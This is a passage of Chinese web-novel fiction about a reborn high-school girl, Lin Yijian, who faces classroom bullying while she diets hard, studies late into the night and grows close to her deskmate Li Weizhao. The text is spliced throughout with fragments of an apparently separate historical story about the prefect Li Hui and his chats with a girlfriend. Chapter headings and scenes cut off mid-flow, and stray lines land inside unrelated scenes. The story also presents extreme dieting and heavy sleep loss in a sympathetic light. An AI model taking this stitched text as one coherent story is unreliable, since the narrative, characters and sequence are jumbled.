林一简双臂一抱,挑挑眼:“等你什么时候给我下跪磕一个再说吧。” “拽翻了!” “林一简什么时候变得这么牛逼了?” “兔子急了也会咬人呢,还不是她们欺人太甚。” 段锐似乎已经接受了林一简拽姐的设定,笑得不行:“你说她们惹谁不好,非要惹林一简。” 李惟昭眉眼轻挑,懒洋洋伸手:“手机。” 段锐傻乎乎,立马把手机掏了递过去。 李惟昭起身,朝教室外走去:“别光看戏了。” 五分钟后。 两人从班主任办公室走出来。 段锐大有要拼命的架势:“李惟昭你个混蛋,赔我手机!” “老吴要收你手机我有什么办法,就当为反校园霸凌做贡献了吧。”李惟昭双手插兜散散漫漫下楼梯,“大不了下次趁着办公室没人偷回来,你又不是没干过。” “……”毕竟从小玩到大的亲兄弟,段锐再气也就两个字,“狗逼。” “身为班长,带头带手机进校园。”李惟昭这时候倒是一副正义模样,拍拍段锐肩,“锐啊,好好学习吧。” “你还好意思说我。”段锐嫌弃拿开,又觉得没什么好说的,“你那功课,自己看着办吧。” 两人去楼下买了水。 李惟昭拎了一提抽纸还了何田田。 何田田震惊:你们有钱人还东西都是这样的吗…… 很快上晚自习,今天是班主任吴作舟的生物。 铃打了一会儿,吴作舟才走进教室。 “我刚刚听说了班上女同学晚饭时间在教室里起矛盾的事,我个人认为,高中是人一生中最美好的时光……” 班上人都知道说的是谁,看看林一简,看看李秋雅,又看看黎梦和罗雨晴。 然而吴作舟讲了将近十分钟,总体高拿轻放,没什么实质性内容。 段锐撇撇嘴,有点不爽,自己折了一个手机却没什么结果。 李惟昭目光没什么变化,他的目的差不多达到了,这种事可大可小,本来就很难处理,他没指望吴作舟能干什么,也就起个震慑作用,让李秋雅她们稍微知道点收敛不要太过分。 他主要是,很难什么也不做,那还算同桌吗。 林一简埋头写题,没怎么在意。 前世她就知道,人生在世,能够依靠的只有自己。 只有自己足够强大,足够勇敢,才能够永远维护自己。 这一世,她终其所有,都将永远为自我的自由与荣光而战斗。 李惟昭笔一顿,看向一旁,声音放温和了点,总算是有安慰人的样子:“没事,以后日子还长。” 林一简笔不停,点头:“嗯,有的是时间。” “……” 怎么感觉,这姑娘怎么一点都不像是失望的样子。 反而有点,跃跃欲试?- 很快放学。 林一简在教室花十几分钟写完剩下的半面试卷,收拾好书包,拎着无绳跳绳去了操场。 篮球架下。 李惟昭才打完一场,正仰头喝着水。 段锐突然说:“林一简在那干什么呢?” 李惟昭偏过头,就见光线微暗的绿围网里,少女侧影挺拔,双手持跳绳,在塑胶跑道旁的空地上一起一落,节奏规律,长长的影子一跳一跳,晃进人心底。 当夜,月上中天,万籁俱静。 刚刚就任的云州别驾在新迁居的府邸上好梦正酣时,却冷不防地被仆从叫起。 听闻是刺史亲至,杜彦之神情一肃、一下子从梦中清醒过来。 云州乱象他这一路也有所见识,得知李晦这会儿过来,他还当是云延城内出了什么变故,一时连发都来不及束,就披上外袍匆匆趿着鞋出去。 但等来到正堂,就看见一青年四平八稳又半点不客气地占据了主位。 瞧见他过来,这位年轻的刺史大人拎了拎手里的酒坛子,冲他灿然一笑,昏暗的烛火映照出洁白的牙齿,莫名让画面显得阴森森的。 李晦对自己带来的影响恍若未觉,他对着来人点点头,笑开口道:“先生远道而来,晦还未为先生接风洗尘呢。” 杜彦之:“……” 40-50 第 41 章 第 41 章 李晦夜半上门,一连骚扰来杜彦之十来天,让后者那本就不太茂密的头发更稀疏了几分,但杜彦之却仍旧什么也没说。 李晦:“……” 这嘴也太严了吧? 杜彦之这边的进展不如人意,那边赵敦益也不让人省心。 李晦几次声明似乎都没起什么效果,赵敦益确实没把祭品摆在他跟前了,但私下里小动作肯定没停。再一次被询问祭祀用的三牲后,李晦实在没忍住,翻了个白眼,“她不爱吃。” 赵敦益:??? 五谷三牲,祭祀自古以来都是如此,就没听说过还有神仙“不爱吃”的啊? 话说回来,原来神仙真的会吃啊。 赵敦益深觉自己长了见识,果然这种事还得问问当事人。 再抬头看看,李晦已经走出去老远了,赵敦益连忙出声,“唉,别走啊,你先告诉我,祂爱吃什么!” 李晦:笑女朋友可爱。  林一简脑子里瞬间像投下了一枚原子弹,被炸的一片空白,什么也听不见。 手指还下意识往屏幕下滑动。 估计是一开始看到“B612”拽的二五八万群备注都不改一个,还实名力挺她,纷纷开嘲讽。 后续间接得知或猜到其真实身份是谁也惹不起的李惟昭,火速撤回,纷纷噤声。 段锐也真是好兄弟,滥用职权关了群匿名,谁还敢在群里说话。 李惟昭直接被架在了那儿,装了回大的。 又或者说,是她和李惟昭一起被架在了那儿。 林一简脑子空白了几秒,缓缓转过头。 李惟昭正懒散靠椅子上,垂着眼皮收书包,声音也漫不经心:“都赌黎梦,多没意思。” 林一简定定盯着他,张了张嘴,欲言又止。 李惟昭又说:“都说了,你是我同桌。” 林一简终于忍不住问出口:“所以呢?” 李惟昭挑眉看了她一眼:“你就我这么一同桌,我再不支持你,会不会不太当人?” 林一简蹙了下眉,慢吞吞说:“你是不是觉得我很惨?” 李惟昭闪了下睫,收起漫不经心:“我一直觉得可怜不太尊重人,你可以理解为,我拥有一个人所应有的人道主义精神。” 林一简内心颤了下,眼一挑:“为什么是我?” “我这个人天生不嫌事大。”少年又摆出那副吊儿郎当的模样,笑意轻狂,“天生看不惯有些事,与你无关。” 林一简忽然极轻地笑了声,明晃晃看向李惟昭:“你是不是电视剧看多了,觉得那样在群里来一句‘我赌林一简’很帅?” 李惟昭:“……” 不识好歹,得寸进尺,给台阶不下还顺杆爬上来扯人裤脚。 真行。 林一简单手支起脸,神色傲然,仿佛俯视一切,悠悠点头:“那恭喜你,赌对了。” “……” 坑我就对了是吗? 正好打了下晚自习的铃。 李惟昭不欲再说,单肩挎起书包就要走,正要抬步,又停住。 少年高高站在白炽灯下,黑发被晕开一层恣意的光,校服校裤一尘不染,背影挺拔又透出吊儿郎当,声音漫不经心。 “哥第一次跟人打赌,不要让我输的太惨。”- 林一简写了会儿题,仍旧留了二十多分钟去操场跳绳。 训练完丢开跳绳,眼前又递过来一瓶矿泉水。 林一简接过水抬起头,却看到了段锐。 “班长怎么是你?” “只许李惟昭送不许我送?”段锐眉一挑,转身示意。 不远处的操场上,李惟昭正一边半仰起头喝水一边朝这边走来,少年高大的身影浸在喧嚣又昏暗的夜里,显出些微清冷和孤寂。 待李惟昭走近,又冷冷瞟了段锐一眼。 段锐立时不满:“怎么,只许你当好人不许我当?” 李惟昭懒得理,跟着林一简往看台边走。 林一简一边走,一边拧开矿泉水灌了几口,想着一瓶水天天两块钱转来转去也不是办法,回过头:“班长,你们每天都打球是吧?水我明天还你。” 话音刚落,李惟昭步子就是一顿,站那儿直直看着她,扯唇微冷,轻讽的目光里明明写着“一瓶矿泉水,我送就还我两块钱,段锐送就有来有回是吧?” 林一简眨眨眼,悠悠盯着李惟昭的眼睛说:“你要想,我也给你买。” “哦。”少年回答的漫不经心。 “……”林一简掀了下眼,爱要不要。 段锐向来看热闹不嫌事大,傻乐着几步跑过来:“简妹儿,明早上哪吃饭告诉下我呗。” 林一简不明所以:“怎么了?” 李惟昭盯着段锐的目光里都快冷出冰了。 段锐直接忽视,还一把揽过李惟昭的肩,笑嘻嘻:“免得我这傻儿子跟着你拐,又把我骗去食堂。” 李惟昭立马拽开段锐的手,拍拍肩,嫌弃的要死,那目光已经不是冷了,而是想干一架。 段锐摸摸鼻子:“怎么,自己干的事不敢承认?” 李惟昭眉一皱。 “滚。” “……” 林一简看向李惟昭的目光越发意味深长。 好半天,她才说:“如果你早上想跟我一起去食堂,可以直接说。”- 第一天,下早自习铃一打。 李惟昭吊儿郎当坐一旁,指尖轻转着饭卡,果然漫不经心说:“去食堂?” 林一简:“……” 有求于人要不要这么拽…… 总算一起去了食堂。 买好饭,四人找了个位置坐下。 李惟昭看着对面林一简的早餐,终于忍不住问:“你现在早上怎么不吃苹果了?” 不光不吃苹果,还一碗杂酱面,一杯豆浆,又加了一根油条……全都是高油高热量,简直两个极端。 “苹果没饭好吃。”林一简扯了一段油条泡进豆浆里,浸满水淋淋的奶白,一口咬下去松软又香甜,“我有减肥的自由,同样有吃饭的自由,两者不冲突。” 李惟昭哪敢说话啊:“……” “人不吃饭会死,人不减肥也就胖一时。”林一简美滋滋地拌了拌杂酱面,“再说了,我现在已经少吃很多了,每天一到饭点就饿得要死。” “真的!”何田田咬着饼点头,“昨天下了晚自习让简简跟我一起去吃夜宵她都不去!” 段锐一碗粉吸溜的贼快:“天天学习已经够累了,吃个饭还要考虑那么多一头撞死算了。” “……” 李惟昭:怎么就显得他跟个坏人一样。 安静了会。 李惟昭面前的炸酱面吃了一半,筷子一撂不打算吃了,懒懒往椅子上一靠,正吸着豆奶。 看见对面林一简一碗杂酱面吃的一根不剩,正津津有味夹着碗底的酸豆角。 李惟昭顿时感到怀疑人生。 他们吃的真的是同一个窗口的杂酱面吗?怎么食堂这么勉强的味道也能被这姑娘吃出国宴的感觉? 是因为太饿了吗? 不过,这姑娘好像每次一吃东西就一副贼幸福贼满足贼快乐的样子…… 李惟昭又看着林一简将碗底的酸豆角夹的一干二净,去收残处都不用磕两磕的那种,终于忍不住发出灵魂拷问:“那你为什么还要减肥啊?” 林一简抬起头,将筷子轻轻搭在碗沿,又将剩余的半底豆浆喝完:“因为对自己现在的样子不太满意。” 段锐早就吃完了,正擦着嘴,闻言扫了眼林一简。 林一简其实是胖过没丑过,五官很大气,一双眼圆润又透彻,很纯很干净,唇红齿白的,皮肤白皙又细腻,面部饱满,从任何角度去看线条都十分流畅,简直像一块完美的草莓奶油小蛋糕。 身上肉都长在该长的地方,校服都能被撑出型,某种眼光来说,很欲,很辣。 段锐真想不明白了,班上那些女生是怎么说的出来林一简又胖又丑的,难不成非要瘦成骷髅才好看? 大抵社会对女生向来都比较苛刻吧,段锐叹了口气,忍不住说:“其实从男生角度看,太瘦不好看。” 何田田一听,就低头看了看自己的小身板,狠狠咬了几口饼,又抬头说:“不要容貌焦虑啦。” “我也不想,但控制不住自己。”林一简漫不经心将豆浆纸杯、油条袋子和卫生纸一样样捡进杂酱面碗里,觉得自己只要活一天,就要在美食和体重之间抗争一天,永远也无法与自我和解,永远都会焦虑,“不过——” “什么让我焦虑,我就解决什么。” 林一简说完,就端起碗往收残处去了。 李惟昭看着她那坚毅的背影,觉得她还有一句话没说—— 什么让她快乐,她就接受什么- 四人出了食堂,路过教学楼下的光荣榜。 光荣榜第一,是陈泽。 何田田忍不住驻足看了两秒,说:“陈泽虽然借女生钱不还人品差,但成绩好,长的也可以,好像还是有不少女生喜欢他。” 林一简跟着看了眼,想起前世的一桩大案,不由露出轻蔑一笑:“人品可以是装的,成绩自然也可以是假的,只有帅是藏不住的。” 李惟昭一听,不由唇角轻勾,理了理校服领子,又整了整头发。 段锐一旁看着嫌弃的要死,恨不得离他八里地远。 “说起来,”何田田想了想,“陈泽确实不是学校最帅的。” “他也就因为成绩好,你们给加了滤镜。”林一简实话实说,“其实长的很一般。” 李惟昭轻咳了声,让自己有点存在感:“所以看男生不能光看成绩,还是得看脸。” 林一简沉吟片刻:“不过找对象还是得找成绩好的,太笨的不喜欢。” 李惟昭:“……” 段锐笑的要死,凑近小声犯贱:“儿啊,要不要爹给你补补课?” 李惟昭抱臂冷冷看了段锐一眼,比了个“滚”的口型。 “我也!我是智性恋!我觉得成绩好的男生特有魅力!”何田田狠狠赞同的同时,又看了眼光荣榜,跟着叹了口气,“好羡慕陈泽啊,怎么考到第一的,我要成绩跟他一样好就好了。” 林一简讽刺一笑,又很认真的看向何田田:“你喜欢成绩好的,那你变成成绩好的不就行了。” 何田田回过头,一时愣怔。 林一简又深深地看了她一眼。 “与其慕强,不如变强。” 何田田呆呆点头,若有所得,接着弯起昭昭眼。 “简简,我突然觉得你好有智慧!” 林一简笑而不语。 其实前世,她也是花了很久才明白,这一世,帮助他人也会觉得快乐。 李惟昭在一旁看着,不自觉扬了扬眼。 头一次觉得,一个人会因为另一个人思想中的吉光片羽而折服。 从林一简身上,他好像总能看到一些不一样的美好品质。 段锐在一旁看到李惟昭那神情:完了……- 晚饭四人同样是一起去校外吃的。 回来时,李惟昭桌上却多了杯奶茶。 一看就知道是女生送的。 但话不能这么说。他顿了下,一本正经地,[我心情好。] 林一简:这是什么糊弄学发言? [为什么?] 李晦:[因为你高兴啊~] 林一简愣了一下。 但她还来不及为男朋友这突如其来的情话脸红,就听对方接着,[你高兴就好。] 林一简:[……?] 她沉默三秒,冷静开口,[你是不是在阴阳怪气我?] 是吧?是吧?绝对是!这人还在记恨刚才那句话。被人说了就一定要说回去、他是小学生吗?!! 第 42 章 第 42 章 [那你呢?以后想做什么?未来有什么规划?] 李晦在发呆。 似乎有人进来禀报了句什么,他完全没在听,只是习惯性地点了点头。来人应声离开,李晦换了一边的手撑着头,继续拧着眉思索。 未来啊…… 要说打算,其实还真没什么打算。 在很长一段时间,他只是活下去就已经拼尽全力了,第二天会不会有都说不定,想那么多实在白费力气。 后来情况是好一点,但也只是能力范围内让自己尽量过得更好,要说更长远的打算么,其实也没怎么想过,总觉得不一定能活到那一天。 远处操场边上高立柱的大灯照的人眼晃,此间也有些许光亮。 林一简不知疲倦地甩动着无绳跳绳,身体起跃间,整个人也像是自由在空中,什么也听不见,只有自己的心跳。 “……118,119,200。” 终于结束最后一组。 林一简将跳绳一丢,弯下腰撑着膝盖喘气。汗水顺着脸颊流下,滴落到砖红的塑胶地面上,打湿一大片。 她盯着自己脚上的运动鞋,耳边的声音也渐渐复苏,周遭的嘈杂由远到近慢慢袭来。 远处教学楼的打闹声,操场边上道路的交谈声,中间草坪的欢笑声,一旁塑胶跑道上夜跑刮过的风声,身后篮球场的少年肆意声,以及,一道越来越近的,规律的,篮球一下下砸在地面的声音。 她的心跳也随之剧烈鼓动,越来越快。 “咚、咚、咚、咚、咚——” 突然停住。 一只骨节分明的手抓着一瓶矿泉水递到她眼前。 她缓缓抬起头。 一双极为张扬的红黑白配色板鞋,黑色校裤包裹着一双看不到边的大长腿,短袖校服的红色领子随意敞开两粒扣,露出盈着薄汗的白皙锁骨,往上,是一段干净细腻的修长脖颈,接着,凸出的喉结微动。 清冽的少年音中透着几分倦懒低沉。 “喝口水。” 她一把接过水,再直起身,就撞进了那水色潋滟的桃花眼里。 茶棕色瞳仁透亮,清透的同时,又是极浓郁极深邃,仿佛含着情意无边,教人一眼再难忘却。 少年逆着光,身上带着一种运动后的性感,依旧是清冽的薄荷味,肆意黑发透出蓬勃微湿的汗意,看向她时,笑意浸透眼底。 最无边的黑夜里,也终于有人带着光闯进。 林一简清晰感知到自己心跳的加速,愣了片刻,她拧开矿泉水瓶盖。 “李李。” 少女微仰着脖颈喝水,流畅的轮廓变得分明,额前碎发微微凌乱,透出一种说不清道不明的美感,脸上沁着薄汗,像刚剥壳的荔枝,而那没有一丝杂质黑白分明的明亮眼眸,则是最圆润饱满的荔枝核。 李惟昭莫名觉得,林一简这个长相看着很舒服。 才萌生出这些许好感。 林一简将矿泉水瓶一举:“两块,我回去还你。” 李惟昭:“……”- 很快最后一节晚自习的铃也打了,林一简背起书包回寝室。 她刚走到校园主干道与寝室楼的岔口,就听到一声呼喊—— “葵葵!” 林一简一转过头,就见林爸爸林妈妈拎着大包小包站在寝室楼底下,也不知道等了多久。 她站在原地,一时恍惚,这年妈妈眼尾还没有皱纹,爸爸还没有为了给刚出世的弟弟筹集医药费早生华发。 他们也回到了岁月最初的模样。 一见到她,夫妻俩连忙赶过来。 林妈妈拎过她的书包,关切道:“你要住宿怎么也不提前跟我们说一声,电话和消息也没回,这不,我跟你爸给你带了点生活用品过来。” 林一简尽力表现出自然的样子:“上课没看手机。” 一行人跟着往宿舍楼走。 “没事,你在学校好好学习。”林妈妈笑容温柔,拎过林爸爸手中的东西,一一给她展示,“我给你带了几套换洗衣服,沐浴露洗发水也有,这个豆奶你早上冲着喝,晚上的玉米排骨汤也给你带了……” 林爸爸进不去女寝,等在外面,林妈妈跟着她回到寝室,帮她收拾东西。 林一简站在床位旁边,看着林妈妈弯着身子铺床、收拾衣柜、擦桌子……帮她安置好一切。 前世再平常不过的事情,现在却让她感到窘迫。 “我看别的小孩都有那个床上的学习桌,你到时候也买一个。” “蛋挞刚烤的,你等会分给室友,跟她们搞好关系。” “这五百块钱你先用着,不够再向我要。” “排骨汤记得喝啊,等会凉了。” “嗯、嗯、嗯、嗯。” 终于送走林妈妈,林一简无力地靠在门后,目光有些许失焦。 半晌。 林一简才走回自己的床位下,拉开椅子坐下,面前的桌上是那一保温桶玉米排骨汤,最鲜甜也最热气腾腾,是这人世间最让人眷念的味道。 盯着看了有十几秒,她还是伸手打开。 白色的雾气一下氤氲开来,浓郁的玉米香,黄澄澄的清亮汤底,浮着昭昭点点的油花,玉米切片像小太阳花,一块块小排骨也都是最完美的形状,白色的脆骨透彻,还缀有几颗红枣。 林一简忍不住就夹了块排骨,又舀了汤来喝。 其实这样的玉米排骨汤,这辈子也再吃不到几次了。 身后突然传来声音。 “哇,好香!” “好油,大晚上的,这么胖还吃。” 林一简不由眉一皱,这声音她不用看也知道是谁。 周倩,晚饭时间塑料姐妹团里说她大早上吃蛋糕也吃的下去那个。 真是不好意思。 跟我一个寝室,算你倒霉。 林一简一边慢条斯理喝着汤,一边平声静气说话。 “晚饭时没骂你是不是很得意,我当时就觉得晦气,没想到你还是个孤儿。” “没吃你家米,这么跳干什么。” 身后瞬间噤了声。 林一简喝完最后一口汤起身去洗碗,冷冷扫了对床的周倩一眼。 女生紧紧靠着衣柜,觑着眼看她。 怕她一言不合就动手打人一样。 胆小鬼。 林一简不由扬扬唇。 洗完碗回到床位下,林一简又看到那一盒蛋挞。 一个寝室四个人,除了周倩,还有另外两个室友。 林一简托着蛋挞盒,走到相邻床位下,仰头。 女孩随意靠坐在床上,长相清秀,头发是刚好可以扎起来的长度,黑方框眼镜,皮肤白到透明,睫毛很长,正垂眼看搭腿上的一本英文阅读拓展。 胡芊芊,年级理科大佬,前世她的学习目标。 “胡芊芊,吃蛋挞吗?”林一简举起蛋挞盒,笑问。 胡芊芊偏头看了眼,礼貌疏离:“不了,我刷过牙了。” 林一简预料到了这个结果,转身看向胡芊芊对面的床位。 女孩坐椅子上转过身,身材瘦弱,脸也小小的,有着一双小鹿眼,正满眼昭昭地看着她手中的蛋挞。 何田田,前世她到最后唯一的朋友。 前世在学校她和何田田其实并不熟,何田田在班上存在感极低,她也几乎不与任何人交往,唯一的交集大概是,何田田是她前世休学前的最后一任同桌。 后来休学在家,她无论如何也没有想到,会来探望她的两个人,一个是段锐,另一个是何田田。 那段黑暗日子里,何田田经常给她带试卷,她对附中的一切消息也是从何田田处得知。 林一简一笑,将蛋挞递过去:“要吃吗?” “嗯嗯嗯嗯!”何田田连连点头,接着不客气地挑了一个,满眼亮晶晶地看着她:“李李!” “我妈妈烤的,应该还不错。”林一简也取了一个自己吃,银白的锡箔蛋挞托,放置着金黄诱人的一个,外皮酥脆,挞心柔软Q弹,焦色也是恰到好处,奶香四溢。 何田田咬了一口,立时大赞:“好好吃!阿姨手艺真不错!” 林一简笑笑:“我家开蛋糕店的。” 何田田对任何事都很捧场:“哇!好厉害!” “你要喜欢,剩下的都给你了。”林一简笑着把剩下的蛋挞都放到了何田田桌上。 “啊啊啊啊你好好啊!”何田田开心的不得了。 因为一盒蛋挞,两人算是混熟了。 何田田又带着林一简去打水。 “我跟你讲啊,你刚刚怼周倩,我真是爽死了。”何田田拎着开水瓶跟她挤在一块,一边下楼一边说。 林一简眉一挑:“谁让她招我。” “你真是太帅了!”何田田满眼崇拜,接着目光一低,开始吐槽,“你知不知道我有多气,昨天我下晚自习实在饿的受不了了,回寝室泡了碗泡面,周倩就说我大晚上的吃泡面,以后会胖死。” 林一简从上往下扫了眼何田田的小身板,不由皱眉:“她有病,以后让她管好自己。” “我要有你一半勇敢就好了。”何田田叹了口气。 林一简抬头看向前方长长的走廊,声音平静说:“没有人的勇敢是与生俱来的,当你迈出第一步,你就会发现并没有那么难。” 两人站饮水机前接着水。 何田田又忍不住吐槽:“哦对了,周倩还在背后说过胡芊芊坏话,上次看到胡芊芊用儿童霜,还跟我说觉得胡芊芊寒酸。” 林一简也是不理解了:“别理她了,身高都没胡芊芊的获奖证书摞起来高。” 何田田笑得不行:“你真是我嘴替,骂人都不带重样的!” 林一简也就一笑置之。 很快熄灯。 只有林一简一个人还坐在下面,亮着一盏昏黄的小台灯。 稿纸上的演算密密麻麻,中性笔划过纸面的声音沙沙不停。 好像重来一世,她还是有些控制不住自己。 控制不住刷一张又一张试卷,跳一组又一组绳。 身体是疲惫的,意识却告诉她,你不能停,你还可以再努力一点,再来一组跳绳,就能变的更美一点,再刷一张试卷,成绩就能多提高一点。 唯一正常的只有食欲。 她现在的身体对美食还保持着最初的渴望与热衷,前世到后面,她实在瘦的不成人样,每天都会被叮嘱好好吃饭,于是对好好吃饭这件事在心理上也异常执着。 堪堪刷到一两点,林一简才强迫自己上床躺下。 她闭着眼陷入黑暗,脑子里还保持着亢奋状态,直到三四点才入睡- 李惟昭回到家,才看到林一简没收款。 不光向他借的三百块钱没收,还转了他两块钱矿泉水钱。 就回复了三个字。 好好吃饭:【不用了。】 李惟昭不禁浮想联翩。 记得林一简是走读的,以前晚自习一下比谁跑的都快,说是要赶回去的公交车。 可今天晚上,在操场告完别,他抱着篮球跟段锐一起回去,却见到林一简往宿舍楼走,看到宿舍楼底下的中年夫妻,好像是她的爸妈,整个人又是一顿。 跟家里闹矛盾了? 不过她这个昵称,好好吃饭。 每天早上就吃一个苹果,哪就好好吃饭了- 第二天早自习。 一打下课铃,李惟昭懒洋洋支着侧脸,就是往一旁一瞟,就等着林一简拿出苹果。 结果,林一简“腾”的一下站起身,朝他前桌喊:“甜甜,去食堂吗?” “好好好,走走走。”何田田也立马拿着饭卡起身。 一阵风似的。 两姑娘就手挽手出了教室,不见了。 “?” 李惟昭突然有了一种被偷家的感觉。 这两姑娘什么时候背着他好上了? 今天不吃苹果了? 正好段锐来给他送早上带的烧麦:“就这,爱吃不吃。” 李惟昭看了眼那毫无食欲的色泽,一下直起身:“今天去食堂。” 李晦:“……” 刚才那话似乎说得太早了点。 虽然也有槽点,但是内容比之前来得要正经多了。 李晦看了一会儿,情绪有点复杂地开口:[专权擅政、废立少帝……果真是天下共讨……] 林一简觉得李晦的语气有点怪怪的,代入点也挺清奇的。 她迟疑了一下,还是趁着这会儿片尾曲播放的时候,发表了一点自己的观后感:[虽然说是“天下共讨”,但是我觉得失败主要还是因为这伙儿人都没什么政治理想。] 李晦:[政治理想?] 林一简琢磨了一下,也觉得这词用得太不接地气儿了,她改口:[也可以说“目标”,他没有“要当皇帝”的这个目标。] 李晦:? “当皇帝”?还“目标”!! 第 43 章 第 43 章 林一简略微发表了一点观后感,很快意识到李晦反常的沉默和怪异的情绪。 她愣了一下,突然意识到问题,赶紧止了声,小声道歉:[对不起。] 李晦还有点没反应过来,[嗯?] 林一简沉默。 她刚才忘记了,李晦是个带兵平叛的将军来着。虽然那边朝堂环境似乎不太好,但是既然李晦自己没说过什么,那说明对方多少对这个朝廷还抱有期望的。既然这样,那么她在这里“怎么当皇帝一二三四点”,李晦心里还不一定是什么滋味呢。 林一简组织语言、试图安慰:[不管怎么样,有一个大一统王朝在,总比天下大乱好。社会发展阶段在那里,有个能够统一国家的皇帝还挺重要的。] 李晦:统一国家的皇帝啊…… 他语调怪异:[你这么觉得?] 那什么、也可以算是一种运动吧。  李惟昭扫了一圈,教室里就没几个人。 他再皱起眉,往奶茶袋子里一看,也没有便利贴什么的。 根本不知道是谁送的。 他自己是不可能碰的。 丢了吧,又浪费粮食。 李惟昭一如往常,朝段锐使了个眼神:“给你。” “我才不帮你挡这桃花!”段锐十分嫌弃,“上次帮你喝了那杯芋泥波波,人广播站孟秦语还来找我哭。” 林一简在一旁直乐。 李惟昭忽然转过身。 林一简指了指自己:“又要我帮你喝?” 前排。 趴桌子上的女生忽然缓缓转过头,看向这边。 是李秋雅。 李惟昭对上那目光,立马眉一凛,拎起奶茶起身:“不了,我怕你喝了恶心。” 接着,他就当着李秋雅的视线,大步走出教室,将那杯奶茶放到了垃圾桶旁的地上。 林一简还不知道发生了什么情况,就对上了李秋雅冰冷的目光。 得,无妄之灾。 记得前世,李秋雅虽然追求李惟昭,但从不会借她之手。 说不定就有李秋雅送李惟昭奶茶,但被她喝了的情况。 怪不得李秋雅那么恨她,原来源头在这儿。 难不成跟李惟昭当过同桌就能成为她嫉妒的理由? 太可怕了吧…… 恋爱脑达咩啊! 我不想当你们play的一环啊啊啊!!!- 时间还早。 李惟昭要跟段锐去书店买点资料。 林一简掀开桌板一看:“等等,我跟你们一起去,我也要买套新卷子了。” 段锐一听:“啊我突然想起还有作业没写,你们去吧你们去吧……” 李惟昭&林一简:“……” 去书店走大路要拐很远,穿小树林则很近。 林一简一下教学楼就扎进了小树林里,李惟昭在后面紧紧跟着。 “有没有人跟你说过,不要轻易走小树林。”李惟昭忽然说,少年的声线在昏暗浓翠的林间格外清幽。 “会碰见脏东西是吧?”林一简全不在意。 结果,下一秒,目光就触及了不远处亭子里的两抹身影。 “凭什么!我处处比林一简好!李惟昭为什么会喜欢她!” 林一简脑子“轰”的一声炸了,缓缓回过头,目光复杂地看着李惟昭,不敢想象一样,慢慢开口。 “你喜欢我?” 少年的身影在傍晚的暗色里不甚清晰。 李惟昭似乎也出神了几秒,眸光明灭不定,接着,极为散漫地扯唇一笑:“我自己都不知道。” “……” 小亭那边,陈泽已经开始安慰李秋雅。 “没事的,李惟昭把你买的奶茶丢了,你买给我,我喝。” 林一简:“……” 好的,闭环了。 前世一开始。 她暗恋陈泽,陈泽舔李秋雅,李秋雅追李惟昭。 然后,李秋雅误以为李惟昭喜欢她??? 喂!天大的误会啊! 后来。 李秋雅当众表白李惟昭被拒,陈泽趁机舔狗上位。 而她,被塑料闺蜜撬了渣男暗恋对象,被伤害的只有她。 再后来。 她考上全校第一,减肥成功惊艳众人,陈泽又开始倒追她。 推导的没错的话。 李秋雅估计也就是玩玩而已,但不甘心李惟昭和陈泽一个个的都喜欢她,于是对她恨之入骨,以至于找小混混在巷子里堵她。 林一简:“……” 无语无语无语死了,现在就是十分无语非常无语无语至极!!! 都说了高中生不能早恋……- 去书店的一路上。 林一简都很安静。 “怎么,你塑料小姐妹把你那人品差的前表白对象撬了不高兴?”李惟昭悠悠问。 “没有,我就是觉得恶心。”林一简皱眉。 “确实。”李惟昭勾着眼,语气漫不经心,“下次长点心吧。” “没有下次了。”林一简眉目冷淡,“我一个也不会放过。” “……” 李惟昭脑子里瞬间就响起了林一简上次对罗雨晴说的“我这个人向来心胸狭隘,睚眦必报……” 真的不能惹女生。 尤其林一简…… “烦死了。”林一简拧着眉,“李秋雅喜欢你的事儿凭什么要扯到我身上啊。” “……”李惟昭默了片刻,“我也不想被李秋雅喜欢啊……” “那你想被谁喜欢?”林一简回过头,挑起眼。 李惟昭悠悠看着她的眼睛,抿了下唇,没说话。 林一简被盯的有些不自在,闪了下睫,转头继续往前走:“不过你也挺怪的,李秋雅公认的大美女,班上男生都喜欢。” 李惟昭眉一挑:“谁规定了,别人都喜欢的我就一定要喜欢。” “不是你喜欢的类型?”林一简还在好奇着。 “喜欢的从来不是类型,是人。”李惟昭其实从来没思考过这个问题,话就这么脱口而出了。 林一简回头看了李惟昭一眼,觉得他的话跟他的人一样令人费解- 来到书店。 林一简随手挑了几套卷子,其实她都刷过,保险起见,再复习复习。 再看李惟昭。 少年站在书店暖黄的灯光下,轮廓透出柔和与专注,微低着头在书堆上挑挑拣拣,最后拎了一本数学一本物理。 “其他科目不买吗?”林一简抱着卷子问。 “写不完。” 李惟昭回过头,看到她抱着的一大摞,眉一挑:“你怎么买这么多?” “当饭吃。” “……” 李惟昭看了她几秒,很担忧的样子:“会不会消化不良?” “放一百个心。”林一简将卷子放收银台上结账,“我每天要写很多。” 李惟昭回忆了下,林一简最近确实每天不是刷题就是刷题,咖啡都是致死量,课间睡会还要让他五分钟后叫醒她……估计晚上也熬到很晚,睡不了几个小时。 半晌,他终于忍不住开口。 “其实吧,输了也不丢人。” “我一定会赢!” 少女笑容张扬,神色坚定。 “……” “你知道吧,你现在正是长身体的年纪。”李惟昭平静说,“借用你的一句话,不睡觉会猝死,不学习也就菜一时。” “喂,”林一简扬眼一笑,“人这辈子,总得为了点什么努力一回吧,浮名也好虚荣也罢,我都想闪耀那一次。” 前世,在那个最虚荣的年纪,想要变美早上只吃一个苹果,想要变瘦晚上绕着操场跑一圈又一圈,想要考全校第一每天熬到两三点,她从未后悔过。 重来一世,她依旧只有十六岁,依旧是那个想要得到所有人赞赏目光的小女孩,只不过这一世,她想要一世荣光,也想要恣意张扬。 李惟昭看着她,很半天,笑了笑。 “那你一定可以的。” 走出书店,晚霞染透了半边天。 “怎么,高中生睡觉犯法?” “……有道理。” “你高一在哪上的?” “国外。” 林一简又随口问了几句,竟发现,李惟昭现在的想法与前世最后的结果完全不一致。 到底是什么让他做出这一改变? 下了晚自习,篮球场。 李惟昭纵身一跃,投了最后一个三分球,球“嗖——”的一声落入篮网,在地面弹跳了几下,越来越低。 球场边缘却忽然闯进来一道长长的影子。 最先听到的是声音。 “班长,喝水。” “……” 李惟昭一转头。 就见段锐那狗逼从林一简手中接过瓶矿泉水,但朝他耀武扬威:“简妹儿,李李啊!” 林一简表情明显就是一怔,又把另一瓶矿泉水递给李惟昭:“你也喝水。” 李惟昭接过拧开,仰头喝了口,喉结凸出滚动,声线清冷,说段锐又像是说林一简:“人家有名字。” 段锐一天不欠不舒服:“哦,林一简。” 林一简:“……” 见场上再没其他人,林一简忍不住问:“每天就你们两个人打球?” “他那个样子,也就他爹我肯天天陪他玩两下。”段锐说。 “为什么你是他爹。”林一简忍着笑问。 “因为我比他大。”段锐贼得意。 